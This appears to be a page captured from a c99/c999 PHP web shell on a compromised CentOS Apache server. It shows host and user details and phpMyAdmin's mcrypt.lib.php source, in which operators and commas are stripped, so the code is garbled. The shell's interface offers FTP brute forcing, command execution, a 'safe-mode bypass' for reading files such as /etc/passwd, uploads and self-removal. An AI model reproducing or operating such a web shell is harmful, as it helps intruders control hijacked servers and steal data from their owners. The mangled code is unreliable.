!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mcrypt.lib.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/* $Id: mcrypt.lib.php,v 2.3 2005/02/07 16:46:02 rabus Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

/**
 * Initialization
 */

// Store the initialization vector because it will be needed for
// further decryption. I don't think necessary to have one iv
// per server so I don't put the server number in the cookie name.

if (!isset($_COOKIE['pma_mcrypt_iv'])) {
    
srand((double) microtime() * 1000000);
    
$iv mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_BLOWFISHMCRYPT_MODE_CBC), MCRYPT_RAND);
    
setcookie('pma_mcrypt_iv',
        
base64_encode($iv),
        
time() + (60 60 24 30),
        
$GLOBALS['cookie_path'], '',
        
$GLOBALS['is_https']);
} else {
    
$iv base64_decode($_COOKIE['pma_mcrypt_iv']);
}

/**
 * String padding
 *
 * @param   string  input string
 * @param   integer length of the result
 * @param   string  the filling string
 * @param   integer padding mode
 *
 * @return  string  the padded string
 *
 * @access  public
 */
function full_str_pad($input$pad_length$pad_string ''$pad_type 0) {
    
$str '';
    
$length $pad_length strlen($input);
    if (
$length 0) { // str_repeat doesn't like negatives
        
if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
            
$str $input.str_repeat($pad_string$length);
        } elseif (
$pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
            
$str str_repeat($pad_stringfloor($length/2));
            
$str .= $input;
            
$str .= str_repeat($pad_stringceil($length/2));
        } else { 
// defaults to STR_PAD_LEFT == 0
            
$str str_repeat($pad_string$length).$input;
        }
    } else { 
// if $length is negative or zero we don't need to do anything
        
$str $input;
    }
    return 
$str;
}
/**
 * Encryption using blowfish algorithm (mcrypt)
 *
 * @param   string  original data
 * @param   string  the secret
 *
 * @return  string  the encrypted result
 *
 * @access  public
 *
 * @author  lem9
 */
function PMA_blowfish_encrypt($data$secret) {
    global 
$iv;
    
// Seems we don't need the padding. Anyway if we need it,
    // we would have to replace 8 by the next 8-byte boundary.
    //$data = full_str_pad($data, 8, "\0", STR_PAD_RIGHT);
    
return base64_encode(mcrypt_encrypt(MCRYPT_BLOWFISH$secret$dataMCRYPT_MODE_CBC$iv));
}

/**
 * Decryption using blowfish algorithm (mcrypt)
 *
 * @param   string  encrypted data
 * @param   string  the secret
 *
 * @return  string  original data
 *
 * @access  public
 *
 * @author  lem9
 */
function PMA_blowfish_decrypt($encdata$secret) {
    global 
$iv;
    return 
trim(mcrypt_decrypt(MCRYPT_BLOWFISH$secretbase64_decode($encdata), MCRYPT_MODE_CBC$iv));
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--